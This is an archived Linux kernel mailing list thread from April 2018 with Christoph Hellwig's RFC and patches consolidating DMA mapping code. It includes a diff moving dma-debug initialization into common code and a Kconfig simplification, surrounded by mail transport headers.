	UzI83f18LkYohf6EPy2hiKy7Dfc8FAT6byzHiNZVYLG0OIBOU2Z/XNmgJB7cZ8zbUFR0YrUCYXeXm
	aFcNVMGv/CjCE/UnyeH/INY1Z/yHlDBO2VvBDq0nfTNr4GpLtwkqSv8d3CbAC+GxUK59RFcXknhGt
	RZAZ6YJsIcjQ/dVN2AghQ5+WAI20r+A==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f9R0p-0007IO-VA; Fri, 20 Apr 2018 08:03:19 +0000
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242]
 helo=localhost)
 by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f9R0m-0007Hp-7N; Fri, 20 Apr 2018 08:03:16 +0000
Original-Subject: 
X-Mailer: git-send-email 2.17.0
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3797 gmane.linux.kernel.cross-arch:43555 gmane.linux.ports.parisc:28512 gmane.linux.ports.sh.devel:56863 gmane.linux.ports.hexagon:1640 gmane.linux.kernel:2746063 gmane.linux.ports.alpha:4954 gmane.linux.ports.sparc:27680 gmane.linux.ports.arm.kernel:644787
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3797>

To: iommu@lists.linux-foundation.org
Cc: linux-arch@vger.kernel.org
Cc: Michal Simek <monstr@monstr.eu>
Cc: Greentime Hu <green.hu@gmail.com>
Cc: Vincent Chen <deanbo422@gmail.com>
Cc: linux-alpha@vger.kernel.org
Cc: linux-snps-arc@lists.infradead.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: linux-c6x-dev@linux-c6x.org
Cc: linux-hexagon@vger.kernel.org
Cc: linux-m68k@lists.linux-m68k.org
Cc: nios2-dev@lists.rocketboards.org
Cc: openrisc@lists.librecores.org
Cc: linux-parisc@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-kernel@vger.kernel.org
Subject: [RFC] common non-cache coherent direct dma mapping ops

Hi all,

this series continues consolidating the dma-mapping code, with a focus
on architectures that do not (always) provide cache coherence for DMA.
Three architectures (arm, mips and powerpc) are still left to be
converted later due to complexity of their dma ops selection.

The dma-noncoherent ops calls the dma-direct ops for the actual
translation of streaming mappins and allow the architecture to provide
any cache flushing required for cpu to device and/or device to cpu
ownership transfers.  The dma coherent allocator is for now still left
entirely to architecture supplied implementations due the amount of
variations.  Hopefully we can do some consolidation for them later on
as well.

A lot of architectures are currently doing very questionable things
in their dma mapping routines, which are documented in the changelogs
for each patch.  Please review them very careful and correct me on
incorrect assumptions.

Because this series sits on top of two previously submitted series
a git tree might be useful to actually test it.  It is provided here:

    git://git.infradead.org/users/hch/misc.git generic-dma-noncoherent

Gitweb:

    http://git.infradead.org/users/hch/misc.git/shortlog/refs/heads/generic-dma-noncoherent

From - Thu Nov 08 21:41:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 01/22] dma-debug: move initialization to common code
Date: Fri, 20 Apr 2018 10:02:52 +0200
Lines: 414
Approved: news@gmane.org
Message-ID: <20180420080313.18796-2-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1524211293 13632 195.159.176.226 (20 Apr 2018 08:01:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:01:33 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 10:01:28 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9Qz0-0003Bq-Sg
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 10:01:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754061AbeDTIDe (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 04:03:34 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:38872 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753777AbeDTIDa (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 04:03:30 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=jI+S5Ovo9ZD/QyuH5za2rz2qC8adJRztd02RdPZqX8g=; b=p41x7WDbbMJFEz3HRc8cSENR2
        J+1qLhvZD7Sy0TfrA/oK00D/EHrMDNzUbUT3LVSRds8Zrydv8oMQCb1G3mN/EMDKM9EYiNgNkbKzA
        /8PAG7EDyIhWXJf6zlUQLK+iGUKiAtULL+Tz7HUcnUvYlwu0ltnb814GXFzEUjutKvTijHoTyXcvY
        STE6Th8Uqo/YvD/l/ogroyvGkDUhQ22HdCsQVmz2Ozv6S4v6baFI1Y2yU7YvnzF4Rw0Re/X9X4FO8
        Cd+3cSpA9lqLw95h9xmhyu7kahYltJDMQy/EcLqAN6dYYNjG8Ik8z9qJZYN17nwg2fWBsI8Yif4y0
    
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1f9R0p-0007IB-66; Fri, 20 Apr 2018 08:03:19 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746064 gmane.linux.kernel.cross-arch:43556 gmane.linux.ports.alpha:4955 gmane.linux.kernel.arc:3798 gmane.linux.ports.arm.kernel:644788 gmane.linux.ports.hexagon:1641 gmane.linux.ports.parisc:28513 gmane.linux.ports.sh.devel:56864 gmane.linux.ports.sparc:27681
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746064>

Most mainstream architectures are using 65536 entries, so lets stick to
that.  If someone is really desperate to override it that can still be
done through <asm/dma-mapping.h>, but I'd rather see a really good
rationale for that.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/arm/mm/dma-mapping-nommu.c |  9 ---------
 arch/arm/mm/dma-mapping.c       |  9 ---------
 arch/arm64/mm/dma-mapping.c     | 10 ----------
 arch/c6x/kernel/dma.c           | 11 -----------
 arch/ia64/kernel/dma-mapping.c  | 10 ----------
 arch/microblaze/kernel/dma.c    | 11 -----------
 arch/mips/mm/dma-default.c      | 10 ----------
 arch/openrisc/kernel/dma.c      | 11 -----------
 arch/powerpc/kernel/dma.c       |  3 ---
 arch/s390/pci/pci_dma.c         |  9 ---------
 arch/sh/mm/consistent.c         |  9 ---------
 arch/sparc/kernel/Makefile      |  2 --
 arch/sparc/kernel/dma.c         | 13 -------------
 arch/x86/kernel/pci-dma.c       |  4 ----
 arch/xtensa/kernel/pci-dma.c    |  9 ---------
 include/linux/dma-debug.h       |  6 ------
 lib/dma-debug.c                 | 21 ++++++++++++++-------
 17 files changed, 14 insertions(+), 143 deletions(-)
 delete mode 100644 arch/sparc/kernel/dma.c

diff --git a/arch/arm/mm/dma-mapping-nommu.c b/arch/arm/mm/dma-mapping-nommu.c
index 619f24a42d09..f448a0663b10 100644
--- a/arch/arm/mm/dma-mapping-nommu.c
+++ b/arch/arm/mm/dma-mapping-nommu.c
@@ -241,12 +241,3 @@ void arch_setup_dma_ops(struct device *dev, u64 dma_base, u64 size,
 void arch_teardown_dma_ops(struct device *dev)
 {
 }
-
-#define PREALLOC_DMA_DEBUG_ENTRIES	4096
-
-static int __init dma_debug_do_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-	return 0;
-}
-core_initcall(dma_debug_do_init);
diff --git a/arch/arm/mm/dma-mapping.c b/arch/arm/mm/dma-mapping.c
index 8c398fedbbb6..c26bf83f44ca 100644
--- a/arch/arm/mm/dma-mapping.c
+++ b/arch/arm/mm/dma-mapping.c
@@ -1165,15 +1165,6 @@ int arm_dma_supported(struct device *dev, u64 mask)
 	return __dma_supported(dev, mask, false);
 }
 
-#define PREALLOC_DMA_DEBUG_ENTRIES	4096
-
-static int __init dma_debug_do_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-	return 0;
-}
-core_initcall(dma_debug_do_init);
-
 #ifdef CONFIG_ARM_DMA_USE_IOMMU
 
 static int __dma_info_to_prot(enum dma_data_direction dir, unsigned long attrs)
diff --git a/arch/arm64/mm/dma-mapping.c b/arch/arm64/mm/dma-mapping.c
index a96ec0181818..db01f2709842 100644
--- a/arch/arm64/mm/dma-mapping.c
+++ b/arch/arm64/mm/dma-mapping.c
@@ -508,16 +508,6 @@ static int __init arm64_dma_init(void)
 }
 arch_initcall(arm64_dma_init);
 
-#define PREALLOC_DMA_DEBUG_ENTRIES	4096
-
-static int __init dma_debug_do_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-	return 0;
-}
-fs_initcall(dma_debug_do_init);
-
-
 #ifdef CONFIG_IOMMU_DMA
 #include <linux/dma-iommu.h>
 #include <linux/platform_device.h>
diff --git a/arch/c6x/kernel/dma.c b/arch/c6x/kernel/dma.c
index 9fff8be75f58..31e1a9ec3a9c 100644
--- a/arch/c6x/kernel/dma.c
+++ b/arch/c6x/kernel/dma.c
@@ -136,14 +136,3 @@ const struct dma_map_ops c6x_dma_ops = {
 	.sync_sg_for_cpu	= c6x_dma_sync_sg_for_cpu,
 };
 EXPORT_SYMBOL(c6x_dma_ops);
-
-/* Number of entries preallocated for DMA-API debugging */
-#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
-
-static int __init dma_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-
-	return 0;
-}
-fs_initcall(dma_init);
diff --git a/arch/ia64/kernel/dma-mapping.c b/arch/ia64/kernel/dma-mapping.c
index f2d57e66fd86..7a471d8d67d4 100644
--- a/arch/ia64/kernel/dma-mapping.c
+++ b/arch/ia64/kernel/dma-mapping.c
@@ -9,16 +9,6 @@ int iommu_detected __read_mostly;
 const struct dma_map_ops *dma_ops;
 EXPORT_SYMBOL(dma_ops);
 
-#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
-
-static int __init dma_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-
-	return 0;
-}
-fs_initcall(dma_init);
-
 const struct dma_map_ops *dma_get_ops(struct device *dev)
 {
 	return dma_ops;
diff --git a/arch/microblaze/kernel/dma.c b/arch/microblaze/kernel/dma.c
index c91e8cef98dd..3145e7dc8ab1 100644
--- a/arch/microblaze/kernel/dma.c
+++ b/arch/microblaze/kernel/dma.c
@@ -184,14 +184,3 @@ const struct dma_map_ops dma_nommu_ops = {
 	.sync_sg_for_device	= dma_nommu_sync_sg_for_device,
 };
 EXPORT_SYMBOL(dma_nommu_ops);
-
-/* Number of entries preallocated for DMA-API debugging */
-#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
-
-static int __init dma_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-
-	return 0;
-}
-fs_initcall(dma_init);
diff --git a/arch/mips/mm/dma-default.c b/arch/mips/mm/dma-default.c
index dcafa43613b6..f9fef0028ca2 100644
--- a/arch/mips/mm/dma-default.c
+++ b/arch/mips/mm/dma-default.c
@@ -402,13 +402,3 @@ static const struct dma_map_ops mips_default_dma_map_ops = {
 
 const struct dma_map_ops *mips_dma_map_ops = &mips_default_dma_map_ops;
 EXPORT_SYMBOL(mips_dma_map_ops);
-
-#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
-
-static int __init mips_dma_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-
-	return 0;
-}
-fs_initcall(mips_dma_init);
diff --git a/arch/openrisc/kernel/dma.c b/arch/openrisc/kernel/dma.c
index a945f00011b4..ec7fd45704d2 100644
--- a/arch/openrisc/kernel/dma.c
+++ b/arch/openrisc/kernel/dma.c
@@ -247,14 +247,3 @@ const struct dma_map_ops or1k_dma_map_ops = {
 	.sync_single_for_device = or1k_sync_single_for_device,
 };
 EXPORT_SYMBOL(or1k_dma_map_ops);
-
-/* Number of entries preallocated for DMA-API debugging */
-#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
-
-static int __init dma_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-
-	return 0;
-}
-fs_initcall(dma_init);
diff --git a/arch/powerpc/kernel/dma.c b/arch/powerpc/kernel/dma.c
index da20569de9d4..138157deeadf 100644
--- a/arch/powerpc/kernel/dma.c
+++ b/arch/powerpc/kernel/dma.c
@@ -309,8 +309,6 @@ int dma_set_coherent_mask(struct device *dev, u64 mask)
 }
 EXPORT_SYMBOL(dma_set_coherent_mask);
 
-#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
-
 int dma_set_mask(struct device *dev, u64 dma_mask)
 {
 	if (ppc_md.dma_set_mask)
@@ -361,7 +359,6 @@ EXPORT_SYMBOL_GPL(dma_get_required_mask);
 
 static int __init dma_init(void)
 {
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
 #ifdef CONFIG_PCI
 	dma_debug_add_bus(&pci_bus_type);
 #endif
diff --git a/arch/s390/pci/pci_dma.c b/arch/s390/pci/pci_dma.c
index 10abf5ed6187..d387a0fbdd7e 100644
--- a/arch/s390/pci/pci_dma.c
+++ b/arch/s390/pci/pci_dma.c
@@ -668,15 +668,6 @@ void zpci_dma_exit(void)
 	kmem_cache_destroy(dma_region_table_cache);
 }
 
-#define PREALLOC_DMA_DEBUG_ENTRIES	(1 << 16)
-
-static int __init dma_debug_do_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-	return 0;
-}
-fs_initcall(dma_debug_do_init);
-
 const struct dma_map_ops s390_pci_dma_ops = {
 	.alloc		= s390_dma_alloc,
 	.free		= s390_dma_free,
diff --git a/arch/sh/mm/consistent.c b/arch/sh/mm/consistent.c
index 6ea3aab508f2..a7bff3f29c2b 100644
--- a/arch/sh/mm/consistent.c
+++ b/arch/sh/mm/consistent.c
@@ -20,18 +20,9 @@
 #include <asm/cacheflush.h>
 #include <asm/addrspace.h>
 
-#define PREALLOC_DMA_DEBUG_ENTRIES	4096
-
 const struct dma_map_ops *dma_ops;
 EXPORT_SYMBOL(dma_ops);
 
-static int __init dma_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-	return 0;
-}
-fs_initcall(dma_init);
-
 void *dma_generic_alloc_coherent(struct device *dev, size_t size,
 				 dma_addr_t *dma_handle, gfp_t gfp,
 				 unsigned long attrs)
diff --git a/arch/sparc/kernel/Makefile b/arch/sparc/kernel/Makefile
index a284662b0e4c..cf8640841b7a 100644
--- a/arch/sparc/kernel/Makefile
+++ b/arch/sparc/kernel/Makefile
@@ -74,8 +74,6 @@ obj-$(CONFIG_SPARC64)	+= pcr.o
 obj-$(CONFIG_SPARC64)	+= nmi.o
 obj-$(CONFIG_SPARC64_SMP) += cpumap.o
 
-obj-y                     += dma.o
-
 obj-$(CONFIG_PCIC_PCI)    += pcic.o
 obj-$(CONFIG_LEON_PCI)    += leon_pci.o
 obj-$(CONFIG_SPARC_GRPCI2)+= leon_pci_grpci2.o
diff --git a/arch/sparc/kernel/dma.c b/arch/sparc/kernel/dma.c
deleted file mode 100644
index f73e7597c971..000000000000
--- a/arch/sparc/kernel/dma.c
+++ /dev/null
@@ -1,13 +0,0 @@
-// SPDX-License-Identifier: GPL-2.0
-#include <linux/kernel.h>
-#include <linux/dma-mapping.h>
-#include <linux/dma-debug.h>
-
-#define PREALLOC_DMA_DEBUG_ENTRIES       (1 << 15)
-
-static int __init dma_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-	return 0;
-}
-fs_initcall(dma_init);
diff --git a/arch/x86/kernel/pci-dma.c b/arch/x86/kernel/pci-dma.c
index 77625b60a510..bcbaa2e8031e 100644
--- a/arch/x86/kernel/pci-dma.c
+++ b/arch/x86/kernel/pci-dma.c
@@ -55,9 +55,6 @@ struct device x86_dma_fallback_dev = {
 };
 EXPORT_SYMBOL(x86_dma_fallback_dev);
 
-/* Number of entries preallocated for DMA-API debugging */
-#define PREALLOC_DMA_DEBUG_ENTRIES       65536
-
 void __init pci_iommu_alloc(void)
 {
 	struct iommu_table_entry *p;
@@ -189,7 +186,6 @@ EXPORT_SYMBOL(arch_dma_supported);
 static int __init pci_iommu_init(void)
 {
 	struct iommu_table_entry *p;
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
 
 #ifdef CONFIG_PCI
 	dma_debug_add_bus(&pci_bus_type);
diff --git a/arch/xtensa/kernel/pci-dma.c b/arch/xtensa/kernel/pci-dma.c
index 732631ce250f..392b4a80ebc2 100644
--- a/arch/xtensa/kernel/pci-dma.c
+++ b/arch/xtensa/kernel/pci-dma.c
@@ -261,12 +261,3 @@ const struct dma_map_ops xtensa_dma_map_ops = {
 	.mapping_error = xtensa_dma_mapping_error,
 };
 EXPORT_SYMBOL(xtensa_dma_map_ops);
-
-#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
-
-static int __init xtensa_dma_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-	return 0;
-}
-fs_initcall(xtensa_dma_init);
diff --git a/include/linux/dma-debug.h b/include/linux/dma-debug.h
index c7d844f09c3a..a785f2507159 100644
--- a/include/linux/dma-debug.h
+++ b/include/linux/dma-debug.h
@@ -30,8 +30,6 @@ struct bus_type;
 
 extern void dma_debug_add_bus(struct bus_type *bus);
 
-extern void dma_debug_init(u32 num_entries);
-
 extern int dma_debug_resize_entries(u32 num_entries);
 
 extern void debug_dma_map_page(struct device *dev, struct page *page,
@@ -100,10 +98,6 @@ static inline void dma_debug_add_bus(struct bus_type *bus)
 {
 }
 
-static inline void dma_debug_init(u32 num_entries)
-{
-}
-
 static inline int dma_debug_resize_entries(u32 num_entries)
 {
 	return 0;
diff --git a/lib/dma-debug.c b/lib/dma-debug.c
index 7f5cdc1e6b29..712a897174e4 100644
--- a/lib/dma-debug.c
+++ b/lib/dma-debug.c
@@ -41,6 +41,11 @@
 #define HASH_FN_SHIFT   13
 #define HASH_FN_MASK    (HASH_SIZE - 1)
 
+/* allow architectures to override this if absolutely required */
+#ifndef PREALLOC_DMA_DEBUG_ENTRIES
+#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
+#endif
+
 enum {
 	dma_debug_single,
 	dma_debug_page,
@@ -1004,18 +1009,16 @@ void dma_debug_add_bus(struct bus_type *bus)
 	bus_register_notifier(bus, nb);
 }
 
-/*
- * Let the architectures decide how many entries should be preallocated.
- */
-void dma_debug_init(u32 num_entries)
+static int dma_debug_init(void)
 {
+	u32 num_entries;
 	int i;
 
 	/* Do not use dma_debug_initialized here, since we really want to be
 	 * called to set dma_debug_initialized
 	 */
 	if (global_disable)
-		return;
+		return 0;
 
 	for (i = 0; i < HASH_SIZE; ++i) {
 		INIT_LIST_HEAD(&dma_entry_hash[i].list);
@@ -1026,17 +1029,19 @@ void dma_debug_init(u32 num_entries)
 		pr_err("DMA-API: error creating debugfs entries - disabling\n");
 		global_disable = true;
 
-		return;
+		return 0;
 	}
 
 	if (req_entries)
 		num_entries = req_entries;
+	else
+		num_entries = PREALLOC_DMA_DEBUG_ENTRIES;
 
 	if (prealloc_memory(num_entries) != 0) {
 		pr_err("DMA-API: debugging out of memory error - disabled\n");
 		global_disable = true;
 
-		return;
+		return 0;
 	}
 
 	nr_total_entries = num_free_entries;
@@ -1044,7 +1049,9 @@ void dma_debug_init(u32 num_entries)
 	dma_debug_initialized = true;
 
 	pr_info("DMA-API: debugging enabled by kernel config\n");
+	return 0;
 }
+core_initcall(dma_debug_init);
 
 static __init int dma_debug_cmdline(char *str)
 {
-- 
2.17.0



From - Thu Nov 08 21:41:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 02/22] dma-mapping: simplify Kconfig dependencies
Date: Fri, 20 Apr 2018 10:02:53 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <20180420080313.18796-3-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1524211314 14885 195.159.176.226 (20 Apr 2018 08:01:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:01:54 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 10:01:48 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9QzM-0003Bq-C8
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 10:01:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754082AbeDTIDz (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 04:03:55 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:39358 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753777AbeDTIDw (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 04:03:52 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=98RYNH+rsBDAeUwoXSvDYGPRfptiV++DxuBuNJ5/zck=; b=gvIOAIoMXbzPz6WxsyRFZUhny
        9/IEuAEpmHjHSxJ5sFJw3AvOTpHHNsZVHoxuGB+Qzml6KGBExZa1YO/LYRBphrNadSltqCd4bM3em
        b+1zeY8B4JkV4NCA3OiElhoYxkI43IZWYr1KjlCqJqmBmv4h9AcX7564SVEewWRL8rnsMj7etchhu
        8L55q7bPu32iqn7SiDKGa+WXJPTmFQJry9mKNkW3P/7clB/RM1j23mdBHf9eKig5vwSuD9hvuXuV3
        /Hj0BYCksXFE/2D2T94vLdcHRuEMhu/2cqr4Udyjxs+SmHod3Qu7+K0LDUgszVKgOYU+6gTSXXfXP
    
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1f9R0s-0007IY-5H; Fri, 20 Apr 2018 08:03:22 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746065 gmane.linux.kernel.cross-arch:43557 gmane.linux.ports.alpha:4956 gmane.linux.kernel.arc:3799 gmane.linux.ports.arm.kernel:644789 gmane.linux.ports.hexagon:1642 gmane.linux.ports.parisc:28514 gmane.linux.ports.sh.devel:56865 gmane.linux.ports.sparc:27682
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746065>

ARCH_DMA_ADDR_T_64BIT is always true for 64-bit architectures now, so we
can skip the clause requiring it.  'n' is the default default, so no need
to explicitly state it.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 lib/Kconfig | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/lib/Kconfig b/lib/Kconfig
index 01a37920949c..726b0562caa7 100644
--- a/lib/Kconfig
+++ b/lib/Kconfig
@@ -443,13 +443,11 @@ config IOMMU_HELPER
 
 config DMA_DIRECT_OPS
 	bool
-	depends on HAS_DMA && (!64BIT || ARCH_DMA_ADDR_T_64BIT)
-	default n
+	depends on HAS_DMA
 
 config DMA_VIRT_OPS
 	bool
-	depends on HAS_DMA && (!64BIT || ARCH_DMA_ADDR_T_64BIT)
-	default n
+	depends on HAS_DMA
 
 config ARCH_HAS_SWIOTLB
 	bool
-- 
2.17.0



From - Thu Nov 08 21:41:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 03/22] dma-mapping: provide a generic dma-noncoherent implementation
Date: Fri, 20 Apr 2018 10:02:54 +0200
Lines: 337
Approved: news@gmane.org
Message-ID: <20180420080313.18796-4-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
